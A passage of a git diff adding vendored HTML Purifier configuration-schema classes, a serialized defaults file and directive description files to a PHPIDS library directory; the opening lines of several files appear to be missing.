b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Exception.php @@ -0,0 +1,9 @@ + array(namespace info) + */ + public $namespaces = array(); + + /** + * Array of Directive ID => array(directive info) + */ + public $directives = array(); + + /** + * Adds a namespace array to $namespaces + */ + public function addNamespace($namespace) { + if (isset($this->namespaces[$i = $namespace->namespace])) { + throw new HTMLPurifier_ConfigSchema_Exception("Cannot redefine namespace '$i'"); + } + $this->namespaces[$i] = $namespace; + } + + /** + * Adds a directive array to $directives + */ + public function addDirective($directive) { + if (isset($this->directives[$i = $directive->id->toString()])) { + throw new HTMLPurifier_ConfigSchema_Exception("Cannot redefine directive '$i'"); + } + $this->directives[$i] = $directive; + } + + /** + * Convenience function to perform standard validation. Throws exception + * on failed validation. + */ + public function validate() { + $validator = new HTMLPurifier_ConfigSchema_Validator(); + return $validator->validate($this); + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Directive.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Directive.php new file mode 100644 index 000000000..bbfe8c4fa --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Directive.php @@ -0,0 +1,75 @@ + true). + * Null if all values are allowed. + */ + public $allowed; + + /** + * List of aliases for the directive, + * e.g. array(new HTMLPurifier_ConfigSchema_Interchange_Id('Ns', 'Dir'))). + */ + public $aliases = array(); + + /** + * Hash of value aliases, e.g. array('alt' => 'real'). Null if value + * aliasing is disabled (necessary for non-scalar types). + */ + public $valueAliases; + + /** + * Version of HTML Purifier the directive was introduced, e.g. '1.3.1'. + * Null if the directive has always existed. + */ + public $version; + + /** + * ID of directive that supercedes this old directive, is an instance + * of HTMLPurifier_ConfigSchema_Interchange_Id. Null if not deprecated. + */ + public $deprecatedUse; + + /** + * Version of HTML Purifier this directive was deprecated. Null if not + * deprecated. + */ + public $deprecatedVersion; + + /** + * List of external projects this directive depends on, e.g. array('CSSTidy'). + */ + public $external = array(); + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Id.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Id.php new file mode 100644 index 000000000..b4803e783 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Id.php @@ -0,0 +1,29 @@ +namespace = $namespace; + $this->directive = $directive; + } + + /** + * @warning This is NOT magic, to ensure that people don't abuse SPL and + * cause problems for PHP 5.0 support. + */ + public function toString() { + return $this->namespace . '.' . $this->directive; + } + + public static function make($id) { + list($namespace, $directive) = explode('.', $id); + return new HTMLPurifier_ConfigSchema_Interchange_Id($namespace, $directive); + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Namespace.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Namespace.php new file mode 100644 index 000000000..b4fd002b3 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Namespace.php @@ -0,0 +1,19 @@ +varParser = $varParser ? $varParser : new HTMLPurifier_VarParser_Native(); + } + + public static function buildFromDirectory($dir = null) { + $parser = new HTMLPurifier_StringHashParser(); + $builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); + $interchange = new HTMLPurifier_ConfigSchema_Interchange(); + + if (!$dir) $dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema/'; + $info = parse_ini_file($dir . 'info.ini'); + $interchange->name = $info['name']; + + $files = array(); + $dh = opendir($dir); + while (false !== ($file = readdir($dh))) { + if (!$file || $file[0] == '.' || strrchr($file, '.') !== '.txt') { + continue; + } + $files[] = $file; + } + closedir($dh); + + sort($files); + foreach ($files as $file) { + $builder->build( + $interchange, + new HTMLPurifier_StringHash( $parser->parseFile($dir . $file) ) + ); + } + + return $interchange; + } + + /** + * Builds an interchange object based on a hash. + * @param $interchange HTMLPurifier_ConfigSchema_Interchange object to build + * @param $hash HTMLPurifier_ConfigSchema_StringHash source data + */ + public function build($interchange, $hash) { + if (!$hash instanceof HTMLPurifier_StringHash) { + $hash = new HTMLPurifier_StringHash($hash); + } + if (!isset($hash['ID'])) { + throw new HTMLPurifier_ConfigSchema_Exception('Hash does not have any ID'); + } + if (strpos($hash['ID'], '.') === false) { + $this->buildNamespace($interchange, $hash); + } else { + $this->buildDirective($interchange, $hash); + } + $this->_findUnused($hash); + } + + public function buildNamespace($interchange, $hash) { + $namespace = new HTMLPurifier_ConfigSchema_Interchange_Namespace(); + $namespace->namespace = $hash->offsetGet('ID'); + if (isset($hash['DESCRIPTION'])) { + $namespace->description = $hash->offsetGet('DESCRIPTION'); + } + $interchange->addNamespace($namespace); + } + + public function buildDirective($interchange, $hash) { + $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive(); + + // These are required elements: + $directive->id = $this->id($hash->offsetGet('ID')); + $id = $directive->id->toString(); // convenience + + if (isset($hash['TYPE'])) { + $type = explode('/', $hash->offsetGet('TYPE')); + if (isset($type[1])) $directive->typeAllowsNull = true; + $directive->type = $type[0]; + } else { + throw new HTMLPurifier_ConfigSchema_Exception("TYPE in directive hash '$id' not defined"); + } + + if (isset($hash['DEFAULT'])) { + try { + $directive->default = $this->varParser->parse($hash->offsetGet('DEFAULT'), $directive->type, $directive->typeAllowsNull); + } catch (HTMLPurifier_VarParserException $e) { + throw new HTMLPurifier_ConfigSchema_Exception($e->getMessage() . " in DEFAULT in directive hash '$id'"); + } + } + + if (isset($hash['DESCRIPTION'])) { + $directive->description = $hash->offsetGet('DESCRIPTION'); + } + + if (isset($hash['ALLOWED'])) { + $directive->allowed = $this->lookup($this->evalArray($hash->offsetGet('ALLOWED'))); + } + + if (isset($hash['VALUE-ALIASES'])) { + $directive->valueAliases = $this->evalArray($hash->offsetGet('VALUE-ALIASES')); + } + + if (isset($hash['ALIASES'])) { + $raw_aliases = trim($hash->offsetGet('ALIASES')); + $aliases = preg_split('/\s*,\s*/', $raw_aliases); + foreach ($aliases as $alias) { + $directive->aliases[] = $this->id($alias); + } + } + + if (isset($hash['VERSION'])) { + $directive->version = $hash->offsetGet('VERSION'); + } + + if (isset($hash['DEPRECATED-USE'])) { + $directive->deprecatedUse = $this->id($hash->offsetGet('DEPRECATED-USE')); + } + + if (isset($hash['DEPRECATED-VERSION'])) { + $directive->deprecatedVersion = $hash->offsetGet('DEPRECATED-VERSION'); + } + + if (isset($hash['EXTERNAL'])) { + $directive->external = preg_split('/\s*,\s*/', trim($hash->offsetGet('EXTERNAL'))); + } + + $interchange->addDirective($directive); + } + + /** + * Evaluates an array PHP code string without array() wrapper + */ + protected function evalArray($contents) { + return eval('return array('. $contents .');'); + } + + /** + * Converts an array list into a lookup array. + */ + protected function lookup($array) { + $ret = array(); + foreach ($array as $val) $ret[$val] = true; + return $ret; + } + + /** + * Convenience function that creates an HTMLPurifier_ConfigSchema_Interchange_Id + * object based on a string Id. + */ + protected function id($id) { + return HTMLPurifier_ConfigSchema_Interchange_Id::make($id); + } + + /** + * Triggers errors for any unused keys passed in the hash; such keys + * may indicate typos, missing values, etc. + * @param $hash Instance of ConfigSchema_StringHash to check. + */ + protected function _findUnused($hash) { + $accessed = $hash->getAccessed(); + foreach ($hash as $k => $v) { + if (!isset($accessed[$k])) { + trigger_error("String hash key '$k' not used by builder", E_USER_NOTICE); + } + } + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php new file mode 100644 index 000000000..eff487f45 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php @@ -0,0 +1,223 @@ +parser = new HTMLPurifier_VarParser(); + } + + /** + * Validates a fully-formed interchange object. Throws an + * HTMLPurifier_ConfigSchema_Exception if there's a problem. + */ + public function validate($interchange) { + $this->interchange = $interchange; + $this->aliases = array(); + // PHP is a bit lax with integer <=> string conversions in + // arrays, so we don't use the identical !== comparison + foreach ($interchange->namespaces as $i => $namespace) { + if ($i != $namespace->namespace) $this->error(false, "Integrity violation: key '$i' does not match internal id '{$namespace->namespace}'"); + $this->validateNamespace($namespace); + } + foreach ($interchange->directives as $i => $directive) { + $id = $directive->id->toString(); + if ($i != $id) $this->error(false, "Integrity violation: key '$i' does not match internal id '$id'"); + $this->validateDirective($directive); + } + return true; + } + + /** + * Validates a HTMLPurifier_ConfigSchema_Interchange_Namespace object. + */ + public function validateNamespace($n) { + $this->context[] = "namespace '{$n->namespace}'"; + $this->with($n, 'namespace') + ->assertNotEmpty() + ->assertAlnum(); // implicit assertIsString handled by InterchangeBuilder + $this->with($n, 'description') + ->assertNotEmpty() + ->assertIsString(); // handled by InterchangeBuilder + array_pop($this->context); + } + + /** + * Validates a HTMLPurifier_ConfigSchema_Interchange_Id object. + */ + public function validateId($id) { + $id_string = $id->toString(); + $this->context[] = "id '$id_string'"; + if (!$id instanceof HTMLPurifier_ConfigSchema_Interchange_Id) { + // handled by InterchangeBuilder + $this->error(false, 'is not an instance of HTMLPurifier_ConfigSchema_Interchange_Id'); + } + if (!isset($this->interchange->namespaces[$id->namespace])) { + $this->error('namespace', 'does not exist'); // assumes that the namespace was validated already + } + $this->with($id, 'directive') + ->assertNotEmpty() + ->assertAlnum(); // implicit assertIsString handled by InterchangeBuilder + array_pop($this->context); + } + + /** + * Validates a HTMLPurifier_ConfigSchema_Interchange_Directive object. + */ + public function validateDirective($d) { + $id = $d->id->toString(); + $this->context[] = "directive '$id'"; + $this->validateId($d->id); + + $this->with($d, 'description') + ->assertNotEmpty(); + + // BEGIN - handled by InterchangeBuilder + $this->with($d, 'type') + ->assertNotEmpty(); + $this->with($d, 'typeAllowsNull') + ->assertIsBool(); + try { + // This also tests validity of $d->type + $this->parser->parse($d->default, $d->type, $d->typeAllowsNull); + } catch (HTMLPurifier_VarParserException $e) { + $this->error('default', 'had error: ' . $e->getMessage()); + } + // END - handled by InterchangeBuilder + + if (!is_null($d->allowed) || !empty($d->valueAliases)) { + // allowed and valueAliases require that we be dealing with + // strings, so check for that early. + $d_int = HTMLPurifier_VarParser::$types[$d->type]; + if (!isset(HTMLPurifier_VarParser::$stringTypes[$d_int])) { + $this->error('type', 'must be a string type when used with allowed or value aliases'); + } + } + + $this->validateDirectiveAllowed($d); + $this->validateDirectiveValueAliases($d); + $this->validateDirectiveAliases($d); + + array_pop($this->context); + } + + /** + * Extra validation if $allowed member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + */ + public function validateDirectiveAllowed($d) { + if (is_null($d->allowed)) return; + $this->with($d, 'allowed') + ->assertNotEmpty() + ->assertIsLookup(); // handled by InterchangeBuilder + if (is_string($d->default) && !isset($d->allowed[$d->default])) { + $this->error('default', 'must be an allowed value'); + } + $this->context[] = 'allowed'; + foreach ($d->allowed as $val => $x) { + if (!is_string($val)) $this->error("value $val", 'must be a string'); + } + array_pop($this->context); + } + + /** + * Extra validation if $valueAliases member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + */ + public function validateDirectiveValueAliases($d) { + if (is_null($d->valueAliases)) return; + $this->with($d, 'valueAliases') + ->assertIsArray(); // handled by InterchangeBuilder + $this->context[] = 'valueAliases'; + foreach ($d->valueAliases as $alias => $real) { + if (!is_string($alias)) $this->error("alias $alias", 'must be a string'); + if (!is_string($real)) $this->error("alias target $real from alias '$alias'", 'must be a string'); + if ($alias === $real) { + $this->error("alias '$alias'", "must not be an alias to itself"); + } + } + if (!is_null($d->allowed)) { + foreach ($d->valueAliases as $alias => $real) { + if (isset($d->allowed[$alias])) { + $this->error("alias '$alias'", 'must not be an allowed value'); + } elseif (!isset($d->allowed[$real])) { + $this->error("alias '$alias'", 'must be an alias to an allowed value'); + } + } + } + array_pop($this->context); + } + + /** + * Extra validation if $aliases member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + */ + public function validateDirectiveAliases($d) { + $this->with($d, 'aliases') + ->assertIsArray(); // handled by InterchangeBuilder + $this->context[] = 'aliases'; + foreach ($d->aliases as $alias) { + $this->validateId($alias); + $s = $alias->toString(); + if (isset($this->interchange->directives[$s])) { + $this->error("alias '$s'", 'collides with another directive'); + } + if (isset($this->aliases[$s])) { + $other_directive = $this->aliases[$s]; + $this->error("alias '$s'", "collides with alias for directive '$other_directive'"); + } + $this->aliases[$s] = $d->id->toString(); + } + array_pop($this->context); + } + + // protected helper functions + + /** + * Convenience function for generating HTMLPurifier_ConfigSchema_ValidatorAtom + * for validating simple member variables of objects. + */ + protected function with($obj, $member) { + return new HTMLPurifier_ConfigSchema_ValidatorAtom($this->getFormattedContext(), $obj, $member); + } + + /** + * Emits an error, providing helpful context. + */ + protected function error($target, $msg) { + if ($target !== false) $prefix = ucfirst($target) . ' in ' . $this->getFormattedContext(); + else $prefix = ucfirst($this->getFormattedContext()); + throw new HTMLPurifier_ConfigSchema_Exception(trim($prefix . ' ' . $msg)); + } + + /** + * Returns a formatted context string. + */ + protected function getFormattedContext() { + return implode(' in ', array_reverse($this->context)); + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/ValidatorAtom.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/ValidatorAtom.php new file mode 100644 index 000000000..5d77903fe --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/ValidatorAtom.php @@ -0,0 +1,66 @@ +context = $context; + $this->obj = $obj; + $this->member = $member; + $this->contents =& $obj->$member; + } + + public function assertIsString() { + if (!is_string($this->contents)) $this->error('must be a string'); + return $this; + } + + public function assertIsBool() { + if (!is_bool($this->contents)) $this->error('must be a boolean'); + return $this; + } + + public function assertIsArray() { + if (!is_array($this->contents)) $this->error('must be an array'); + return $this; + } + + public function assertNotNull() { + if ($this->contents === null) $this->error('must not be null'); + return $this; + } + + public function assertAlnum() { + $this->assertIsString(); + if (!ctype_alnum($this->contents)) $this->error('must be alphanumeric'); + return $this; + } + + public function assertNotEmpty() { + if (empty($this->contents)) $this->error('must not be empty'); + return $this; + } + + public function assertIsLookup() { + $this->assertIsArray(); + foreach ($this->contents as $v) { + if ($v !== true) $this->error('must be a lookup array'); + } + return $this; + } + + protected function error($msg) { + throw new HTMLPurifier_ConfigSchema_Exception(ucfirst($this->member) . ' in ' . $this->context . ' ' . $msg); + } + +} + + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema.ser b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema.ser new file mode 100644 index 000000000..1ac5ff691 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema.ser @@ -0,0 +1 @@ +O:25:"HTMLPurifier_ConfigSchema":2:{s:8:"defaults";a:12:{s:4:"Attr";a:12:{s:19:"AllowedFrameTargets";a:0:{}s:10:"AllowedRel";a:0:{}s:10:"AllowedRev";a:0:{}s:15:"DefaultImageAlt";N;s:19:"DefaultInvalidImage";s:0:"";s:22:"DefaultInvalidImageAlt";s:13:"Invalid image";s:14:"DefaultTextDir";s:3:"ltr";s:8:"EnableID";b:0;s:11:"IDBlacklist";a:0:{}s:17:"IDBlacklistRegexp";N;s:8:"IDPrefix";s:0:"";s:13:"IDPrefixLocal";s:0:"";}s:10:"AutoFormat";a:6:{s:13:"AutoParagraph";b:0;s:6:"Custom";a:0:{}s:14:"DisplayLinkURI";b:0;s:7:"Linkify";b:0;s:15:"PurifierLinkify";b:0;s:11:"RemoveEmpty";b:0;}s:15:"AutoFormatParam";a:1:{s:21:"PurifierLinkifyDocURL";s:3:"#%s";}s:3:"CSS";a:6:{s:14:"AllowImportant";b:0;s:11:"AllowTricky";b:0;s:17:"AllowedProperties";N;s:13:"DefinitionRev";i:1;s:12:"MaxImgLength";s:6:"1200px";s:11:"Proprietary";b:0;}s:5:"Cache";a:2:{s:14:"DefinitionImpl";s:10:"Serializer";s:14:"SerializerPath";N;}s:4:"Core";a:15:{s:17:"AggressivelyFixLt";b:1;s:13:"CollectErrors";b:0;s:13:"ColorKeywords";a:17:{s:6:"maroon";s:7:"#800000";s:3:"red";s:7:"#FF0000";s:6:"orange";s:7:"#FFA500";s:6:"yellow";s:7:"#FFFF00";s:5:"olive";s:7:"#808000";s:6:"purple";s:7:"#800080";s:7:"fuchsia";s:7:"#FF00FF";s:5:"white";s:7:"#FFFFFF";s:4:"lime";s:7:"#00FF00";s:5:"green";s:7:"#008000";s:4:"navy";s:7:"#000080";s:4:"blue";s:7:"#0000FF";s:4:"aqua";s:7:"#00FFFF";s:4:"teal";s:7:"#008080";s:5:"black";s:7:"#000000";s:6:"silver";s:7:"#C0C0C0";s:4:"gray";s:7:"#808080";}s:25:"ConvertDocumentToFragment";b:1;s:31:"DirectLexLineNumberSyncInterval";i:0;s:8:"Encoding";s:5:"utf-8";s:21:"EscapeInvalidChildren";b:0;s:17:"EscapeInvalidTags";b:0;s:24:"EscapeNonASCIICharacters";b:0;s:14:"HiddenElements";a:2:{s:6:"script";b:1;s:5:"style";b:1;}s:8:"Language";s:2:"en";s:9:"LexerImpl";N;s:19:"MaintainLineNumbers";N;s:16:"RemoveInvalidImg";b:1;s:20:"RemoveScriptContents";N;}s:6:"Filter";a:3:{s:6:"Custom";a:0:{}s:18:"ExtractStyleBlocks";b:0;s:7:"YouTube";b:0;}s:11:"FilterParam";a:3:{s:26:"ExtractStyleBlocksEscaping";b:1;s:23:"ExtractStyleBlocksScope";N;s:26:"ExtractStyleBlocksTidyImpl";N;}s:4:"HTML";a:23:{s:7:"Allowed";N;s:17:"AllowedAttributes";N;s:15:"AllowedElements";N;s:14:"AllowedModules";N;s:12:"BlockWrapper";s:1:"p";s:11:"CoreModules";a:7:{s:9:"Structure";b:1;s:4:"Text";b:1;s:9:"Hypertext";b:1;s:4:"List";b:1;s:22:"NonXMLCommonAttributes";b:1;s:19:"XMLCommonAttributes";b:1;s:16:"CommonAttributes";b:1;}s:13:"CustomDoctype";N;s:12:"DefinitionID";N;s:13:"DefinitionRev";i:1;s:7:"Doctype";N;s:19:"ForbiddenAttributes";a:0:{}s:17:"ForbiddenElements";a:0:{}s:12:"MaxImgLength";i:1200;s:6:"Parent";s:3:"div";s:11:"Proprietary";b:0;s:9:"SafeEmbed";b:0;s:10:"SafeObject";b:0;s:6:"Strict";b:0;s:7:"TidyAdd";a:0:{}s:9:"TidyLevel";s:6:"medium";s:10:"TidyRemove";a:0:{}s:7:"Trusted";b:0;s:5:"XHTML";b:1;}s:6:"Output";a:4:{s:21:"CommentScriptContents";b:1;s:7:"Newline";N;s:8:"SortAttr";b:0;s:10:"TidyFormat";b:0;}s:4:"Test";a:1:{s:12:"ForceNoIconv";b:0;}s:3:"URI";a:16:{s:14:"AllowedSchemes";a:6:{s:4:"http";b:1;s:5:"https";b:1;s:6:"mailto";b:1;s:3:"ftp";b:1;s:4:"nntp";b:1;s:4:"news";b:1;}s:4:"Base";N;s:13:"DefaultScheme";s:4:"http";s:12:"DefinitionID";N;s:13:"DefinitionRev";i:1;s:7:"Disable";b:0;s:15:"DisableExternal";b:0;s:24:"DisableExternalResources";b:0;s:16:"DisableResources";b:0;s:4:"Host";N;s:13:"HostBlacklist";a:0:{}s:12:"MakeAbsolute";b:0;s:5:"Munge";N;s:14:"MungeResources";b:0;s:14:"MungeSecretKey";N;s:22:"OverrideAllowedSchemes";b:1;}}s:4:"info";a:12:{s:4:"Attr";a:13:{s:19:"AllowedFrameTargets";i:8;s:10:"AllowedRel";i:8;s:10:"AllowedRev";i:8;s:15:"DefaultImageAlt";i:-1;s:19:"DefaultInvalidImage";i:1;s:22:"DefaultInvalidImageAlt";i:1;s:14:"DefaultTextDir";O:8:"stdClass":2:{s:4:"type";i:1;s:7:"allowed";a:2:{s:3:"ltr";b:1;s:3:"rtl";b:1;}}s:8:"EnableID";i:7;s:11:"IDBlacklist";i:9;s:17:"IDBlacklistRegexp";i:-1;s:8:"IDPrefix";i:1;s:13:"IDPrefixLocal";i:1;s:10:"DisableURI";O:8:"stdClass":3:{s:9:"namespace";s:3:"URI";s:4:"name";s:7:"Disable";s:7:"isAlias";b:1;}}s:10:"AutoFormat";a:6:{s:13:"AutoParagraph";i:7;s:6:"Custom";i:9;s:14:"DisplayLinkURI";i:7;s:7:"Linkify";i:7;s:15:"PurifierLinkify";i:7;s:11:"RemoveEmpty";i:7;}s:15:"AutoFormatParam";a:1:{s:21:"PurifierLinkifyDocURL";i:1;}s:3:"CSS";a:6:{s:14:"AllowImportant";i:7;s:11:"AllowTricky";i:7;s:17:"AllowedProperties";i:-8;s:13:"DefinitionRev";i:5;s:12:"MaxImgLength";i:-1;s:11:"Proprietary";i:7;}s:5:"Cache";a:2:{s:14:"DefinitionImpl";i:-1;s:14:"SerializerPath";i:-1;}s:4:"Core";a:20:{s:15:"DefinitionCache";O:8:"stdClass":3:{s:9:"namespace";s:5:"Cache";s:4:"name";s:14:"DefinitionImpl";s:7:"isAlias";b:1;}s:17:"AggressivelyFixLt";i:7;s:13:"CollectErrors";i:7;s:13:"ColorKeywords";i:10;s:25:"ConvertDocumentToFragment";i:7;s:19:"AcceptFullDocuments";O:8:"stdClass":3:{s:9:"namespace";s:4:"Core";s:4:"name";s:25:"ConvertDocumentToFragment";s:7:"isAlias";b:1;}s:31:"DirectLexLineNumberSyncInterval";i:5;s:8:"Encoding";i:2;s:21:"EscapeInvalidChildren";i:7;s:17:"EscapeInvalidTags";i:7;s:24:"EscapeNonASCIICharacters";i:7;s:14:"HiddenElements";i:8;s:8:"Language";i:1;s:9:"LexerImpl";i:-11;s:19:"MaintainLineNumbers";i:-7;s:16:"RemoveInvalidImg";i:7;s:20:"RemoveScriptContents";i:-7;s:5:"XHTML";O:8:"stdClass":3:{s:9:"namespace";s:4:"HTML";s:4:"name";s:5:"XHTML";s:7:"isAlias";b:1;}s:21:"CommentScriptContents";O:8:"stdClass":3:{s:9:"namespace";s:6:"Output";s:4:"name";s:21:"CommentScriptContents";s:7:"isAlias";b:1;}s:10:"TidyFormat";O:8:"stdClass":3:{s:9:"namespace";s:6:"Output";s:4:"name";s:10:"TidyFormat";s:7:"isAlias";b:1;}}s:6:"Filter";a:5:{s:6:"Custom";i:9;s:18:"ExtractStyleBlocks";i:7;s:7:"YouTube";i:7;s:26:"ExtractStyleBlocksEscaping";O:8:"stdClass":3:{s:9:"namespace";s:11:"FilterParam";s:4:"name";s:26:"ExtractStyleBlocksEscaping";s:7:"isAlias";b:1;}s:23:"ExtractStyleBlocksScope";O:8:"stdClass":3:{s:9:"namespace";s:11:"FilterParam";s:4:"name";s:23:"ExtractStyleBlocksScope";s:7:"isAlias";b:1;}}s:11:"FilterParam";a:3:{s:26:"ExtractStyleBlocksEscaping";i:7;s:23:"ExtractStyleBlocksScope";i:-1;s:26:"ExtractStyleBlocksTidyImpl";i:-11;}s:4:"HTML";a:24:{s:12:"EnableAttrID";O:8:"stdClass":3:{s:9:"namespace";s:4:"Attr";s:4:"name";s:8:"EnableID";s:7:"isAlias";b:1;}s:7:"Allowed";i:-4;s:17:"AllowedAttributes";i:-8;s:15:"AllowedElements";i:-8;s:14:"AllowedModules";i:-8;s:12:"BlockWrapper";i:1;s:11:"CoreModules";i:8;s:13:"CustomDoctype";i:-1;s:12:"DefinitionID";i:-1;s:13:"DefinitionRev";i:5;s:7:"Doctype";O:8:"stdClass":3:{s:4:"type";i:1;s:10:"allow_null";b:1;s:7:"allowed";a:5:{s:22:"HTML 4.01 Transitional";b:1;s:16:"HTML 4.01 Strict";b:1;s:22:"XHTML 1.0 Transitional";b:1;s:16:"XHTML 1.0 Strict";b:1;s:9:"XHTML 1.1";b:1;}}s:19:"ForbiddenAttributes";i:8;s:17:"ForbiddenElements";i:8;s:12:"MaxImgLength";i:-5;s:6:"Parent";i:1;s:11:"Proprietary";i:7;s:9:"SafeEmbed";i:7;s:10:"SafeObject";i:7;s:6:"Strict";i:7;s:7:"TidyAdd";i:8;s:9:"TidyLevel";O:8:"stdClass":2:{s:4:"type";i:1;s:7:"allowed";a:4:{s:4:"none";b:1;s:5:"light";b:1;s:6:"medium";b:1;s:5:"heavy";b:1;}}s:10:"TidyRemove";i:8;s:7:"Trusted";i:7;s:5:"XHTML";i:7;}s:6:"Output";a:4:{s:21:"CommentScriptContents";i:7;s:7:"Newline";i:-1;s:8:"SortAttr";i:7;s:10:"TidyFormat";i:7;}s:4:"Test";a:1:{s:12:"ForceNoIconv";i:7;}s:3:"URI";a:16:{s:14:"AllowedSchemes";i:8;s:4:"Base";i:-1;s:13:"DefaultScheme";i:1;s:12:"DefinitionID";i:-1;s:13:"DefinitionRev";i:5;s:7:"Disable";i:7;s:15:"DisableExternal";i:7;s:24:"DisableExternalResources";i:7;s:16:"DisableResources";i:7;s:4:"Host";i:-1;s:13:"HostBlacklist";i:9;s:12:"MakeAbsolute";i:7;s:5:"Munge";i:-1;s:14:"MungeResources";i:7;s:14:"MungeSecretKey";i:-1;s:22:"OverrideAllowedSchemes";i:7;}}} \ No newline at end of file diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt new file mode 100644 index 000000000..6cecfa2f0 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt @@ -0,0 +1,11 @@ +Attr.AllowedFrameTargets +TYPE: lookup +DEFAULT: array() +--DESCRIPTION-- +Lookup table of all allowed link frame targets. Some commonly used link +targets include _blank, _self, _parent and _top. Values should be +lowercase, as validation will be done in a case-sensitive manner despite +W3C's recommendation. XHTML 1.0 Strict does not permit the target attribute +so this directive will have no effect in that doctype. XHTML 1.1 does not +enable the Target module by default, you will have to manually enable it +(see the module documentation for more details.) diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt new file mode 100644 index 000000000..26bbc3713 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt @@ -0,0 +1,8 @@ +Attr.AllowedRel +TYPE: lookup +VERSION: 1.6.0 +DEFAULT: array() +--DESCRIPTION-- +List of allowed forward document relationships in the rel attribute. Common +values may be nofollow or print. By default, this is empty, meaning that no +document relationships are allowed. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt new file mode 100644 index 000000000..b007bc58a --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt @@ -0,0 +1,8 @@ +Attr.AllowedRev +TYPE: lookup +VERSION: 1.6.0 +DEFAULT: array() +--DESCRIPTION-- +List of allowed reverse document relationships in the rev attribute. This +attribute is a bit of an edge-case; if you don't know what it is for, stay +away. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt new file mode 100644 index 000000000..f474a9cbf --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt @@ -0,0 +1,9 @@ +Attr.DefaultImageAlt +TYPE: string/null +DEFAULT: null +--DESCRIPTION-- +This is the content of the alt tag of an image if the user had not +previously specified an alt attribute. This applies to all images without +a valid alt attribute, as opposed to %Attr.DefaultInvalidImageAlt, which +only applies to invalid images, and overrides in the case of an invalid image. +Default behavior with null is to use the basename of the src tag for the alt. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt new file mode 100644 index 000000000..3d5c45d4f --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt @@ -0,0 +1,8 @@ +Attr.DefaultInvalidImage +TYPE: string +DEFAULT: '' +--DESCRIPTION-- +This is the default image an img tag will be pointed to if it does not have +a valid src attribute. In future versions, we may allow the image tag to +be removed completely, but due to design issues, this is not possible right +now. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt 